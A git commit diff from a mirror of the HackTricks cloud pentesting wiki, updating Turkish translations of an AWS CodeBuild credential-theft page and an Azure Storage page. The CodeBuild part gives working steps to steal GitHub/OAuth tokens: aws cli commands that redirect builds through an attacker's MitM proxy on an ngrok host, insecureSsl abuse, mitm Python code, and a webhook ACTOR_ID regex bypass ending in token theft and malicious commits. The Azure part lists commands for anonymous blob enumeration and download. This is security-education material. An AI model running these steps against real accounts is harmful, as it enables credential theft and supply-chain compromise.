mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-stor
This commit is contained in:
+44
-43
@@ -2,39 +2,40 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Github/Bitbucket yapılandırılmış Tokens'leri kurtarma
|
||||
## Github/Bitbucket için yapılandırılmış Tokens'ları Kurtarma
|
||||
|
||||
Önce, leak edebileceğiniz herhangi bir source credentials yapılandırılmış mı diye kontrol edin:
|
||||
İlk olarak, leak yapabileceğiniz herhangi bir kaynak kimlik bilgisinin yapılandırılıp yapılandırılmadığını kontrol edin:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Via Docker Image
|
||||
### Docker Image ile
|
||||
|
||||
If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
|
||||
Eğer hesapta örneğin Github için kimlik doğrulaması ayarlıysa, projeyi derlemek için Codebuild'in belirli bir Docker image kullanmasını sağlayarak o erişimi **exfiltrate** edebilirsiniz (**GH token or OAuth token**).
|
||||
|
||||
For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**.
|
||||
Bu amaçla yeni bir **Codebuild project** oluşturabilir veya mevcut bir projenin **environment**ını değiştirip **Docker image**i ayarlayabilirsiniz.
|
||||
|
||||
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
|
||||
Kullanabileceğiniz Docker image: [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Bu, env değişkenleri `https_proxy`, `http_proxy` ve `SSL_CERT_FILE`'ı ayarlayan çok temel bir Docker image'idir. Bu, `https_proxy` ve `http_proxy`'ta belirtilen host'un trafiğinin çoğunu intercept etmenize ve `SSL_CERT_FILE`'ta belirtilen SSL CERT'e güvenmenize olanak sağlar.
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- Repo'daki talimatları takip ederek proxy IP adresinizi ve SSL sertifikanızı ayarlayın ve **docker image'i build edin**.
|
||||
- **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint.
|
||||
- Proxy'yi hostunuza ayarlamak için **`ngrok`** gibi bir araç kullanabilirsiniz: `ngrok tcp 4444`
|
||||
- Docker image'i build ettikten sonra, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- Yeni bir **Codebuild project** oluşturun veya mevcut bir projenin **environment**'ını değiştirin.
|
||||
- Projeyi daha önce oluşturduğunuz **Docker image**'i kullanacak şekilde ayarlayın.
|
||||
1. **Kendi Docker MitM image'inizi Oluşturun & Yükleyin**
|
||||
- Repo'nun talimatlarını takip ederek proxy IP adresinizi ve SSL sertifikanızı ayarlayın ve **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`**; metadata endpoint'e yapılan istekleri intercept etmemek için.
|
||||
- Proxy'yi host'unuza ayarlamak için **`ngrok`** kullanabilirsiniz; örneğin: `ngrok tcp 4444`
|
||||
- Docker image'i oluşturduktan sonra, **public bir repo'ya yükleyin** (Dockerhub, ECR...)
|
||||
|
||||
2. **Environment'i ayarlayın**
|
||||
- Yeni bir **Codebuild project** oluşturun veya mevcut birinin environment'ını değiştirin.
|
||||
- Projeyi daha önce oluşturulan **Docker image**'i kullanacak şekilde ayarlayın
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Set the MitM proxy in your host**
|
||||
3. **MitM proxy'yi host'unuza ayarlayın**
|
||||
|
||||
- As indicated in the **Github repo** you could use something like:
|
||||
- **Github repo**'da belirtildiği gibi şu tarz bir şey kullanabilirsiniz:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> Kullanılan **mitmproxy version used was 9.0.1**, sürüm 10 ile bunun çalışmayabileceği rapor edildi.
|
||||
> Kullanılan **mitmproxy sürümü 9.0.1'di**, sürüm 10 ile bunun çalışmayabileceği rapor edildi.
|
||||
|
||||
4. **Build'i çalıştırın & kimlik bilgilerini yakalayın**
|
||||
|
||||
@@ -42,7 +43,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bu, aws cli ile şu şekilde de yapılabilir
|
||||
Bu, aws cli üzerinden şu şekilde de yapılabilir:
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -71,17 +72,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### insecureSSL aracılığıyla
|
||||
### insecureSSL ile
|
||||
|
||||
**Codebuild** projelerinin web arayüzünde gizli olan ve yalnızca API üzerinden değiştirilebilen **`insecureSsl`** adında bir ayarı vardır.\
|
||||
Bunu etkinleştirmek, Codebuild'in platformun sunduğu sertifikayı kontrol etmeden repository'ye bağlanmasına izin verir.
|
||||
**Codebuild** projelerinin **`insecureSsl`** adında bir ayarı vardır; web arayüzünde gizlidir, yalnızca API üzerinden değiştirilebilir.\
|
||||
Bu ayarı etkinleştirmek, Codebuild'in platformun sunduğu sertifikayı **kontrol etmeden** repository'ye bağlanmasına izin verir.
|
||||
|
||||
- İlk olarak mevcut yapılandırmayı aşağıdakine benzer bir komutla enumerate etmeniz gerekir:
|
||||
- İlk olarak mevcut yapılandırmayı şu komutla listelemeniz gerekiyor:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncelleme örneğim var; sonundaki **`insecureSsl=True`** kısmına dikkat edin (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir).
|
||||
- Ayrıca, **http_proxy** ve **https_proxy** çevre değişkenlerini tcp ngrok'unuza işaret edecek şekilde ekleyin, örneğin:
|
||||
- Ardından, toplanan bilgilerle proje ayarındaki **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda benim bir projeyi güncelleme örneğim var; sondaki **`insecureSsl=True`**'e dikkat edin (toplanan yapılandırmadan değiştirmeniz gereken tek şey budur).
|
||||
- Ayrıca, env değişkenleri **http_proxy** ve **https_proxy**'i tcp ngrok'unuza işaret edecek şekilde ekleyin, örneğin:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +116,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- Sonra, [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği proxy variables (http_proxy ve https_proxy) tarafından gösterilen porta çalıştırın
|
||||
- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) içindeki temel örneği çalıştırın
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +129,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Son olarak, **Build the project**'e tıklayın; **credentials** mitm portuna **düz metin** (base64) olarak gönderilecek:
|
||||
- Son olarak **Build the project**'e tıklayın, **credentials** mitm portuna **düz metin** (base64) olarak gönderilecektir:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~HTTP protokolü üzerinden~~
|
||||
### ~~HTTP protokolü ile~~
|
||||
|
||||
> [!TIP] > **Bu zafiyet, 20 Şubat 2023 haftasında AWS tarafından bir noktada düzeltildi (sanırım Cuma). Bu yüzden bir saldırgan artık bunu kötüye kullanamaz :)**
|
||||
> [!TIP] > **Bu zafiyet AWS tarafından 20 Şubat 2023 haftasının bir noktasında (sanırım Cuma günü) düzeltildi. Yani bir saldırgan artık bunu kötüye kullanamaz :)**
|
||||
|
||||
Bir saldırgan, bir CodeBuild üzerinde **yükseltilmiş izinlere** sahipse yapılandırılmış Github/Bitbucket token'ını leak edebilir veya izinler OAuth ile yapılandırıldıysa, koda erişmek için kullanılan **geçici OAuth token'ını** leak edebilir.
|
||||
Bir saldırgan, **CodeBuild üzerinde yükseltilmiş izinlere sahipse yapılandırılmış Github/Bitbucket token'ını leak edebilir** veya izinler OAuth ile yapılandırıldıysa, **koda erişimde kullanılan geçici OAuth token'ını** leak edebilir.
|
||||
|
||||
- Bir saldırgan, CodeBuild projesine **http_proxy** ve **https_proxy** environment variable'larını ekleyerek bunları kendi makinesine işaret edecek şekilde ayarlayabilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- Bir saldırgan, CodeBuild projesine ortam değişkenleri **http_proxy** ve **https_proxy**'i kendi makinesine işaret edecek şekilde ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Sonra, github deposunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın
|
||||
- Sonra, github repo URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın.
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,30 +159,30 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Ardından **Build the project** seçeneğine tıklayın veya derlemeyi komut satırından başlatın:
|
||||
- Ardından, **Projeyi derle** seçeneğine tıklayın veya derlemeyi komut satırından başlatın:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Son olarak, **credentials** **açık metin** (base64) olarak mitm portuna gönderilecek:
|
||||
- Son olarak, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna gönderilecektir:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Artık bir saldırgan token'ı kendi makinesinden kullanabilecek, sahip olduğu tüm ayrıcalıkları listeleyebilecek ve CodeBuild servisini doğrudan kullanmaktan daha kolay şekilde kötüye kullanabilecek.
|
||||
> Artık bir saldırgan token'ı kendi makinesinden kullanabilecek, sahip olduğu tüm ayrıcalıkları listeleyebilecek ve CodeBuild servisini doğrudan kullanmaktan daha kolay şekilde (ab)use edebilecektir.
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
|
||||
Yanlış yapılandırılmış CodeBuild GitHub webhooks'u, anchor'lanmamış `ACTOR_ID` regex'leri kullandığında *güvenilmeyen* PR'lerin ayrıcalıklı build'leri başlatmasına izin verir. Eğer allowlist `123456|7890123` gibi `^`/`$` olmadan ayarlanmışsa, bu alt dizgilerden birini içeren herhangi bir ID eşleşir. GitHub kullanıcı ID'leri ardışık olduğundan, bir saldırgan “eclipsing” bir ID (güvenilen ID'nin süperdizisi) kaydetmek için yarışabilir ve build'i tetikleyebilir.
|
||||
Misconfigured CodeBuild GitHub webhooks that use unanchored `ACTOR_ID` regexes let *untrusted* PRs start privileged builds. If the allowlist is like `123456|7890123` without `^`/`$`, any ID containing one of those substrings matches. Because GitHub user IDs are sequential, an attacker can race to register an “eclipsing” ID (a superstring of a trusted ID) and trigger the build.
|
||||
|
||||
**Exploit path**
|
||||
|
||||
1. Public CodeBuild projelerini bularak webhook filtrelerini ortaya çıkarın ve anchor'lanmamış `ACTOR_ID` allowlist'ini çıkarın.
|
||||
2. Bir eclipsing GitHub ID elde edin:
|
||||
- Global ID sayacını örneklemek için GitHub org'ları oluşturup silin (org ID'leri aynı havuzu paylaşır).
|
||||
- Çok sayıda GitHub App manifest oluşturmayı önceden hazırlayın ve sayaç hedefe ~100 ID kala onay URL'lerini tetikleyerek güvenilen alt dizgiyi içeren bir bot ID'sini hızlıca kaydedin.
|
||||
3. Eclipsing hesaptan bir PR açın; regex alt dizgiyle eşleşir ve ayrıcalıklı build çalışır.
|
||||
4. Build RCE kullanarak (ör. dependency install hooks) GitHub credential'ını işleyen proses belleğini dump edin ve PAT/OAuth token'ı kurtarın.
|
||||
5. Token’ın `repo` scope'u ile hesabınızı collaborator/admin olarak davet edin ve kötü amaçlı commit'leri push/approve edin veya secret'leri exfiltrate edin.
|
||||
1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist.
|
||||
2. Obtain an eclipsing GitHub ID:
|
||||
- Sample the global ID counter by creating/deleting GitHub orgs (org IDs share the pool).
|
||||
- Pre-stage many GitHub App manifest creations and fire the confirmation URLs when the counter is within ~100 IDs of the target to burst-register a bot ID containing the trusted substring.
|
||||
3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs.
|
||||
4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token.
|
||||
5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets.
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
|
||||
@@ -4,71 +4,71 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Azure Storage Accounts, bloblar (binary large objects), files, queues ve tables dahil olmak üzere çeşitli veri tipleri için ölçeklenebilir, güvenli ve yüksek erişilebilirlik sağlayan Microsoft Azure'daki temel cloud hizmetleridir. Bu farklı storage servislerini tek bir namespace altında gruplayan container'lar olarak yönetim kolaylığı sağlarlar.
|
||||
Azure Storage Accounts, Microsoft Azure içinde çeşitli veri türleri için ölçeklenebilir, güvenli ve yüksek kullanılabilirlikli bulut **depolama** sağlayan temel servislerdir; buna blobs (binary large objects), files, queues ve tables dahildir. Bu farklı storage servislerini tek bir namespace altında gruplandıran konteynerler olarak hizmet verirler ve yönetimi kolaylaştırır.
|
||||
|
||||
**Ana yapılandırma seçenekleri**:
|
||||
**Temel yapılandırma seçenekleri**:
|
||||
|
||||
- Her storage account'un Azure genelinde benzersiz bir **isim**i olmalıdır.
|
||||
- Her storage account'ın **Azure genelinde benzersiz bir isme** sahip olması gerekir.
|
||||
- Her storage account bir **region** veya bir Azure extended zone içinde dağıtılır.
|
||||
- Daha iyi performans için storage account'un **premium** sürümünü seçmek mümkündür.
|
||||
- Rack, drive ve datacenter **arızalarına** karşı koruma için **4 tür redundancy** arasından seçim yapılabilir.
|
||||
- Daha iyi performans için storage account'ın **premium** sürümünü seçmek mümkündür.
|
||||
- Rack, drive ve datacenter **arızalarına** karşı koruma için **4 farklı redundancy türünden** birini seçmek mümkündür.
|
||||
|
||||
**Güvenlik yapılandırma seçenekleri**:
|
||||
|
||||
- **Require secure transfer for REST API operations**: REST API iletişimlerinde TLS zorunlu kılınmasını sağlar.
|
||||
- **Allows enabling anonymous access on individual containers**: Bireysel container'larda anonim erişimi etkinleştirmeye izin verir; eğer kapalıysa gelecekte anonim erişim etkinleştirilemez.
|
||||
- **Enable storage account key access**: Storage account anahtar erişimini etkinleştirir; etkin değilse Shared Keys ile erişim yasaklanır.
|
||||
- **Require secure transfer for REST API operations**: Storage ile tüm iletişimde TLS gerektirir.
|
||||
- **Allows enabling anonymous access on individual containers**: Eğer etkinleştirilmezse, gelecekte anonim erişim etkinleştirilemez.
|
||||
- **Enable storage account key access**: Eğer kapalıysa, Shared Keys ile erişim yasaklanır.
|
||||
- **Minimum TLS version**
|
||||
- **Permitted scope for copy operations**: Kopyalama işlemleri için izin verilen kapsam — herhangi bir storage account'tan, aynı Entra tenant'ındaki herhangi bir storage account'tan veya aynı virtual network içindeki private endpoints'e sahip storage account'tan.
|
||||
- **Permitted scope for copy operations**: Herhangi bir storage account'tan, aynı Entra tenant'ındaki herhangi bir storage account'tan veya aynı virtual network'te private endpoints olan storage account'tan izin verir.
|
||||
|
||||
**Blob Storage seçenekleri**:
|
||||
|
||||
- **Allow cross-tenant replication**
|
||||
- **Access tier**: Hot (sık erişilen veriler), Cool ve Cold (nadiren erişilen veriler)
|
||||
|
||||
**Networking seçenekleri**:
|
||||
**Ağ seçenekleri**:
|
||||
|
||||
- **Network access**:
|
||||
- Tüm ağlara izin ver
|
||||
- Seçili virtual networks ve IP adreslerinden izin ver
|
||||
- Public access'i devre dışı bırakıp private access kullan
|
||||
- **Private endpoints**: Virtual network'ten storage account'a özel bir bağlantı sağlar
|
||||
- Tüm network'lerden izin ver
|
||||
- Seçili virtual networks ve IP adreslerinden izin ver
|
||||
- Public erişimi devre dışı bırak ve private erişim kullan
|
||||
- **Private endpoints**: Virtual network'ten storage account'a özel bir bağlantıya izin verir.
|
||||
|
||||
**Veri koruma seçenekleri**:
|
||||
|
||||
- **Point-in-time restore for containers**: Container'ları daha önceki bir duruma geri yüklemeyi sağlar.
|
||||
- Bu özellik versioning, change feed ve blob soft delete'in etkin olmasını gerektirir.
|
||||
- **Enable soft delete for blobs**: Silinen (hatta üzerine yazılan) blob'lar için gün bazında bir saklama süresi sağlar.
|
||||
- **Enable soft delete for containers**: Silinen container'lar için gün bazında bir saklama süresi sağlar.
|
||||
- **Enable soft delete for file shares**: Silinen file share'ler için gün bazında bir saklama süresi sağlar.
|
||||
- **Enable versioning for blobs**: Blob'ların önceki sürümlerini saklar.
|
||||
- **Enable blob change feed**: Blob'ların oluşturulma, değiştirilme ve silinme değişikliklerinin loglarını tutar.
|
||||
- **Enable version-level immutability support**: Hesap düzeyinde zaman tabanlı bir saklama politikası belirlemenize olanak vererek tüm blob sürümlerine uygulanmasını sağlar.
|
||||
- **Point-in-time restore for containers**: Container'ları önceki bir duruma geri yüklemeye izin verir.
|
||||
- Bu, versioning, change feed ve blob soft delete'in etkinleştirilmesini gerektirir.
|
||||
- **Enable soft delete for blobs**: Silinmiş blob'lar için (üstüne yazılmış olsa bile) gün cinsinden saklama süresi sağlar.
|
||||
- **Enable soft delete for containers**: Silinmiş container'lar için gün cinsinden saklama süresi sağlar.
|
||||
- **Enable soft delete for file shares**: Silinmiş file share'ler için gün cinsinden saklama süresi sağlar.
|
||||
- **Enable versioning for blobs**: Blob'larınızın önceki versiyonlarını korur.
|
||||
- **Enable blob change feed**: Blob'larda oluşturma, değiştirme ve silme değişikliklerinin loglarını tutar.
|
||||
- **Enable version-level immutability support**: Hesap düzeyinde tüm blob versiyonlarına uygulanacak zaman tabanlı bir saklama politikası belirlemenize izin verir.
|
||||
- Version-level immutability support ile point-in-time restore for containers aynı anda etkinleştirilemez.
|
||||
|
||||
**Şifreleme yapılandırma seçenekleri**:
|
||||
|
||||
- **Encryption type**: Microsoft-managed keys (MMK) veya Customer-managed keys (CMK) kullanılabilir.
|
||||
- **Enable infrastructure encryption**: Veriyi "daha fazla güvenlik" amacıyla çift şifrelemeyi sağlar.
|
||||
- **Enable infrastructure encryption**: Verinin "daha fazla güvenlik" için çift şifrelenmesine izin verir.
|
||||
|
||||
### Storage endpoints
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="197">Depolama Servisi</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
|
||||
### Public Exposure
|
||||
|
||||
Eğer "Allow Blob public access" **enabled** ise (varsayılan olarak disabled), bir container oluşturulduğunda şunlar mümkün olur:
|
||||
Eğer "Allow Blob public access" **enabled** ise (varsayılan olarak disabled), bir container oluşturulurken şunlar mümkün olur:
|
||||
|
||||
- **public access to read blobs** verebilirsiniz (isim bilinmelidir).
|
||||
- **List container blobs** ve bunları **read** edebilirsiniz.
|
||||
- Tamamen **private** yapabilirsiniz.
|
||||
- **public access to read blobs** verme (ismi bilinmesi gerekir).
|
||||
- Container blob'larını **listeleyip** bunları **okuma**.
|
||||
- Tamamen **private** yapma.
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Statik web sitesi (`$web`) erişimi & leaked secrets
|
||||
### Static website (`$web`) exposure & leaked secrets
|
||||
|
||||
- Statik web siteleri özel `$web` container'ından bölge-özgü bir endpoint üzerinden servis edilir; örn `https://<account>.z13.web.core.windows.net/`.
|
||||
- `$web` container'ı blob API üzerinden `publicAccess: null` raporlayabilir, ancak dosyalar statik site endpoint'i üzerinden yine erişilebilir olduğundan config/IaC artefaktlarını oraya bırakmak secrets'in leak olmasına neden olabilir.
|
||||
- **Static websites** özel `$web` container'ından, bölge-özgü bir endpoint (örn. `https://<account>.z13.web.core.windows.net/`) üzerinden servis edilir.
|
||||
- `$web` container blob API aracılığıyla `publicAccess: null` raporlayabilir, ancak dosyalar static site endpoint'i üzerinden yine de erişilebilir olduğundan, config/IaC artifaktlarını buraya bırakmak can leak secrets.
|
||||
- Hızlı denetim iş akışı:
|
||||
```bash
|
||||
# Identify storage accounts with static website hosting enabled
|
||||
@@ -82,25 +82,25 @@ az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdou
|
||||
```
|
||||
### Anonim blob maruziyetini denetleme
|
||||
|
||||
- **Depolama hesaplarını bulun** verileri açığa çıkarabilecek: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Eğer `allowBlobPublicAccess` `false` ise konteynerleri genel (public) yapamazsınız.
|
||||
- **Riskli hesapları inceleyin** bayrağı ve diğer zayıf ayarları doğrulamak için: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
|
||||
- **Konteyner düzeyindeki maruziyeti listeleyin** bayrağın etkin olduğu yerlerde:
|
||||
- **Veri açığa çıkarabilecek storage account'ları bulun**: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Eğer `allowBlobPublicAccess` `false` ise container'ları public yapamazsınız.
|
||||
- **Riskli account'ları inceleyin** bayrağı ve diğer zayıf ayarları doğrulamak için: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
|
||||
- **Flag etkin olan hesaplarda container düzeyindeki maruziyeti listeleyin**:
|
||||
```bash
|
||||
az storage container list --account-name <acc> \
|
||||
--query '[].{name:name, access:properties.publicAccess}'
|
||||
```
|
||||
- `"Blob"`: anonim okuma izni **sadece blob adı biliniyorsa** (listeleme yok).
|
||||
- `"Container"`: anonim **listeleme + okuma** her blob için.
|
||||
- `"Blob"`: anonim okumaya izin verilir **sadece blob adı bilindiğinde** (listeleme yok).
|
||||
- `"Container"`: her blob için anonim **listeleme + okuma**.
|
||||
- `null`: özel; kimlik doğrulama gerekli.
|
||||
- **Kimlik bilgisi olmadan erişimi kanıtlayın**:
|
||||
- **Kimlik bilgisi olmadan erişimi kanıtlayın:**
|
||||
- Eğer `publicAccess` `Container` ise, anonim listeleme çalışır: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
|
||||
- Hem `Blob` hem de `Container` için, anonim blob indirme adı bilindiğinde çalışır:
|
||||
- Hem `Blob` hem `Container` için, blob adı bilindiğinde anonim blob indirme çalışır:
|
||||
```bash
|
||||
az storage blob download -c <container> -n <blob> --account-name <acc> --file /dev/stdout
|
||||
# or via raw HTTP
|
||||
curl "https://<acc>.blob.core.windows.net/<container>/<blob>"
|
||||
```
|
||||
### Storage'a Bağlan
|
||||
### Depolamaya Bağlan
|
||||
|
||||
Bağlanabileceğiniz herhangi bir **storage** bulursanız, bunu yapmak için [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) aracını kullanabilirsiniz.
|
||||
|
||||
@@ -108,25 +108,25 @@ Bağlanabileceğiniz herhangi bir **storage** bulursanız, bunu yapmak için [**
|
||||
|
||||
### RBAC
|
||||
|
||||
Storage hesaplarına erişmek için Entra ID principal'larını **RBAC roles** ile kullanmak mümkündür ve bu önerilen yoldur.
|
||||
Entra ID principal'lerini **RBAC roles** ile storage hesaplarına erişim için kullanmak mümkündür ve bu önerilen yoldur.
|
||||
|
||||
### Access Keys
|
||||
### Erişim Anahtarları
|
||||
|
||||
Storage hesaplarının erişimde kullanılabilecek access keys'i vardır. Bu, storage hesabına **tam erişim sağlar.**
|
||||
Storage hesaplarının erişim sağlamak için kullanılabilecek access keys (erişim anahtarları) vardır. Bu, storage hesabına tam erişim sağlar.
|
||||
|
||||
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### **Shared Keys & Lite Shared Keys**
|
||||
|
||||
[**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) ile access keys ile imzalanmış URL aracılığıyla belirli kaynaklara yetki vermek mümkündür.
|
||||
Erişim anahtarları ile imzalanmış [**generate Shared Keys**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) oluşturmak mümkündür; bunlar imzalı bir URL aracılığıyla belirli kaynaklara erişimi yetkilendirmek için kullanılır.
|
||||
|
||||
> [!NOTE]
|
||||
> `CanonicalizedResource` kısmının storage services resource (URI) öğesini temsil ettiğini unutmayın. Ve URL'deki herhangi bir parça encode edilmişse, `CanonicalizedResource` içinde de encode edilmiş olmalıdır.
|
||||
> Dikkat: `CanonicalizedResource` kısmı storage servisinin kaynağını (URI) temsil eder. URL'deki herhangi bir kısım encode edilmişse, `CanonicalizedResource` içinde de encode edilmiş olmalıdır.
|
||||
|
||||
> [!NOTE]
|
||||
> Bu, istekleri kimlik doğrulamak için varsayılan olarak `az` cli tarafından kullanılır. Entra ID principal kimlik bilgilerini kullanması için parametre `--auth-mode login` belirtin.
|
||||
> Bu, istekleri doğrulamak için varsayılan olarak `az` cli tarafından **kullanılır**. `az`'ın Entra ID principal kimlik bilgilerini kullanmasını sağlamak için `--auth-mode login` parametresini belirtin.
|
||||
|
||||
- Aşağıdaki bilgileri imzalayarak **shared key for blob, queue and file services** oluşturmak mümkündür:
|
||||
- Aşağıdaki bilgileri imzalayarak blob, queue ve file servisleri için **shared key** oluşturmak mümkündür:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-Encoding + "\n" +
|
||||
@@ -143,7 +143,7 @@ Range + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
- Aşağıdaki bilgileri imzalayarak **tablo servisleri için paylaşılan bir anahtar** oluşturmak mümkündür:
|
||||
- Aşağıdaki bilgileri imzalayarak **shared key for table services** oluşturmak mümkündür:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-MD5 + "\n" +
|
||||
@@ -165,7 +165,7 @@ CanonicalizedResource;
|
||||
StringToSign = Date + "\n"
|
||||
CanonicalizedResource
|
||||
```
|
||||
Ardından, key'i kullanmak için Authorization header'ında aşağıdaki sözdizimi kullanılır:
|
||||
Anahtarı kullanmak için Authorization header'ında aşağıdaki sözdizimi kullanılabilir:
|
||||
```bash
|
||||
